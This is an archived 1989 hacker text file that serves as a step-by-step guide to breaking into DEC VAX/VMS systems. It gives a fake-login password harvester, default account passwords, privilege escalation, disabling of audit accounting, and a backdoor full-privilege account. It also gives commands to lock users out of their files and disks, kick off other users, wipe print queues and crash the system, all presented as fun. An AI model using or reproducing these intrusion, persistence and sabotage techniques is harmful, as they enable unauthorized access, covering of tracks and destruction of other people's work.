home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / chrontmp / vaxhack.arj / VAXHACK.TXT
Text File  |  1989-05-20  |  9KB  |  196 lines

  1.  
  2.  
  3.  
  4.      Hacking the
  5.        DEC VAX-11/780
  6.      For Phun and Profit
  7.  
  8.                   By.....
  9.                        The
  10.                        Nuclear
  11.                        Wastoid
  12.  
  13.   So, you say you want to learn how to hack the VAX-11/780.  This
  14. phile contains all you need to know to wreak massive havok and have
  15. major fun.  This phile is devided into five sections, which are:
  16.   1. Getting On   2. Staying On   3. Basics
  17.   4. Having Fun   5. Shutting Down and Getting Off.
  18.   Each is pretty much self- explanatory, so here goes:
  19.  
  20. PART I. Getting On.
  21.   There are 2 techniques to getting on the system:  Hit and Miss, or
  22. random passwords, and Cheating.  We will, of course, deal with
  23. cheating.  To cheat yourself onto the system, you can either:  1.  use
  24. someone else's password, of 2.  use a default password.
  25.   1.  Using Someone Else's Password Using someone else's password can
  26. be both good and bad.  It's good because you don't have to create a
  27. new account or use a restricted one, so the sysop won't see anything
  28. out of the ordinary.  It's bad because the person may notice that
  29. someone else has been on the system with his pass when he wasn't on
  30. the system.  It's also not very good because the person may not have
  31. high enough privelege for your needs.  To get someone's password is
  32. simple if you can get onto the system, even with limited access.  Just
  33. log onto the sysop's (or someone else with high enough privelege) and
  34. write a program that just sits there and looks like the logon prompt.
  35. Have the program output the names+ passes it gets to a remote printer
  36. or a file that you can get to later, and then kill itself.
  37.   2.  Defaults.  There are four default accounts placed on the VAX
  38. when it is first set up.  These can be changed or deleted, but usually
  39. one or two survive.  The defaults are:
  40.       Name        Password
  41.       ---------------------------------------------------
  42.       SYSTEM        MANAGER or OPERATOR
  43.       FIELD        SERVICE or TEST
  44.       DEFAULT        USER or DEFAULT
  45.       SYSTEST        UETP or SYSTEST
  46.   I have found that FIELD SERVICE works most often.
  47.   Once you're on the system, you want to make yourself able to do the
  48. most damage.  to do his, type:    $ SET PROC/PRIV=ALL -'$' is the system
  49. prompt If the system responds with some bullshit about your privelege
  50. not being high enough, GET ANOTHER PASSWORD.  You need full access to
  51. have enough phun.
  52. PART II. Staying On.
  53.   Okay, you're on the system.  Now what?  Mass destruction, of course.
  54. But first, make sure you'll be able to get back on.  The first thing
  55. you want to do is:è$ SET ACCOUNTING/DISABLE
  56.   This stops the system from keeping track of you.  Now type:
  57. $ SHOW USERS
  58.   to see who is on the system.    If you see your account listed twice,
  59. log off.  You don't want to be caught because of something stupid like
  60. that.  If you want to make sure that nobody can interfere with your
  61. phun, you should type:
  62. $ SET LOGINS/INTERACTIVE=0
  63.   This keeps anybody else to log onto the computer.  Now to kick
  64. everybody else off:
  65. $ SHOW USERS - the system responds with something like:
  66.  
  67.         VAX/VMS INTERACTIVE USERS
  68.          23-JUL-1986 09:37:15.54
  69.        Total number of interactive users= 6
  70. Username      Process Name    PID    Terminal
  71. BRUNO          BRUNO         0000026B    TTD3:
  72. FIELD          FIELD         00000FF2    TTC2:
  73. JOHNSON       _TTD5:         0000026D    TTD5:
  74. LINCOLN       LINCOLN        0000026A    TTD2:
  75. CYBERPUNK     CYBERPUNK      000001D8    TTD4:
  76. HARDCORE      HARDCORE       00000263    TTC0:
  77.  
  78.   Now, if you logged on as FIELD, you want to go through and type:
  79. $ STOP/ID=PID    - substituting the number in the PID column for PID
  80.   for each person other than you.  This kicks everybody else off the
  81. system.  It's best if you only do this at night or when usage is low,
  82. because if the sysop gets lots of complaints he might catch you.
  83.   The next thing you want to do is make sure that you will be able to
  84. get back onto the system next time.  To do this, type:
  85. $ SET DEF SYS$SYSROOT:[SYSEXE]
  86.   This takes you to the SYSEXE directory of the SYS$SYSROOT drive.
  87. Now type:
  88. $ RUN AUTHORIZE  - the system will respond:
  89. UAF>  - now type:
  90. UAF> ADD WASTOID /PASSWORD=ZEDNET /UIC=[099,900] /CPUTIME=0- <cr>
  91.  /DEVICE=SYS$SYSROOT /DIRECTORY=[SYSEXE] /PRIVS=ALL /NOACCOUNTING <cr>
  92. UAF> EXIT <cr>
  93.   Now- what does this mean?
  94.  
  95. ADD WASTOID - adds new record with name=WASTOID
  96. /PASSWORD=ZEDNET - sets password for new acount
  97. /UIC=[099,900] - sets user identification code for new account
  98. /CPUTIME=0 - tells system you can use it anytime
  99. the '-' after /CPUTIME=0 tells the computer that you're starting a new line.
  100. /DEVICE=SYS$SYSROOT - sets your home drive
  101. /DIRECTORY=[SYSEXE] - sets your home directory
  102. /PRIVS=ALL - give yourself full access
  103. /NOACCOUNTING - so the system can't keep track of you
  104.   Okay. Now you'll be able to get back on. On to ...
  105.  
  106. PART III. System Basics
  107.   Here are some commands you need to know if you haven't ever used a
  108. Vax:
  109. è  HELP - this brings up a list of all commands, and will explain any
  110. of them for you.
  111.   SET DEF drive:[directory.sub1.sub2] - sets default drive and
  112. directory.
  113.   TYPE or T - types a file to the screen.  In the format :  T
  114. FILENAME.EXT
  115.   PRINT or PR - prints a file to the printer.  In the format :    PR
  116. FILENAME.EXT
  117.   DIR or D - directory
  118.   D- shows name,size,protection
  119.   DIR/PRINT or D/PRINT outputs the directory to printer+ screen.
  120.   RUN or R - executes .EXE files R FILENAME.EXE
  121.   @ - executes .COM files @FILENAME.COM
  122.  
  123.   Okay, now you're ready for:
  124.  
  125. PART IV: Having Fun.
  126.  
  127.   A. Files
  128.     It has got to be the greatest feeling in the world to lock somebody out of
  129.   his own files. This is hilarious to do, especially if you can watch the
  130.   person when he finds out. To do this, you use the SET PROTECTION command.
  131.   Let's say that you want to lock everybody but yourself out of a file called
  132.   TEST.FIL. You would type:
  133. $ SET PROT=(S:RWED,O,G,W) TEST.DAT
  134.   This gives you (the system) full rights, while everybody else (owner, group,
  135.   and world) has no access rights.
  136.  
  137.   B. Disks
  138.   The next most fun thing to do is to lock everybody off of whole
  139. disks at a time.  To do this to drive DMA1:, you type:
  140. $ DISMOUNT DMA1:  - take DMA1: out of service
  141. $ DEALLOCATE DMA1: - take DMA1: off line
  142. $ SET PROT=(S,O:R,G,W)/DEVICE/OWNER_UIC[099,900] DMA1:
  143.    - this tells the system that DMA1: is a private drive of yours.
  144. $ ALLOCATE DMA1: - bring DMA1: back on line
  145. $ MOUNT DMA1: - put DMA1: back in service.
  146.   SHAZAM!! your own personal drive that nobody else can use.
  147.  
  148.   C. Printers
  149.   Say you want to print a file called HACKING.DAT.  You type :
  150. $ PR HACKING.DAT
  151.   and the system responds that your file is 'pending' on LPA0:.  this
  152. means that some asshole just put a 1000 page file into the print
  153. queue, so your little file won't print until next tuesday.  What you
  154. do is:
  155. $ STOP/ABORT LPA0:
  156.   This makes the printer stop its current job and kick it off the
  157. queue.    Now:
  158. $ DELETE/QUEUE LPA0:
  159.   This kills everything that was on the queue.    Wow!  A whole printer
  160. to yourself!
  161.  
  162.   Anyway, now I'll leave you alone.  I'm sure you can find more ways
  163. of having fun on your own, so I'll leave them to you.  Oh, by the way-èdon't skip ....
  164.  
  165. PART V: Shutting Down and Getting Off
  166.   Now say that the system is going to explode in 30 seconds if it's
  167. not shut down.    Well, being the good samaritan that you are, you'll
  168. just have to shut it down for them.  There are two quick- and- dirty
  169. ways that DEC provided for just such an occasion.  #1 works, but #2 is
  170. faster and looks nicer.
  171.  
  172.   1. OPCCRASH.
  173.   To shut down the system with the OPCCRASH command, simply
  174. $ RUN SYS$SYSTEM:OPCCRASH  - the system will respond:
  175.   SYSTEM SHUTDOWN COMPLETE- USE CONSOLE TO HALT SYSTEM
  176.     now type:
  177.  ^P  - the system will respond:
  178. >>>  - type:
  179. >>> HALT  - the system will respond:
  180.   HALTED AT 8000708A - or whatever
  181.  
  182.   2. CRASH system command
  183.     To shut down the systrem with the CRASH command, simply type:
  184. ^P
  185. >>> HALT
  186. >>> @CRASH  - this executes the system command CRASH and displays a big error
  187.   listing. Neat, eh?
  188.  
  189.   Now you can do everything, except log off, so here goes:
  190.  
  191. $ LO
  192.  WASTOID    logged out at 23-JUL-1986 10:27:13.20
  193.  
  194.  
  195. $
  196.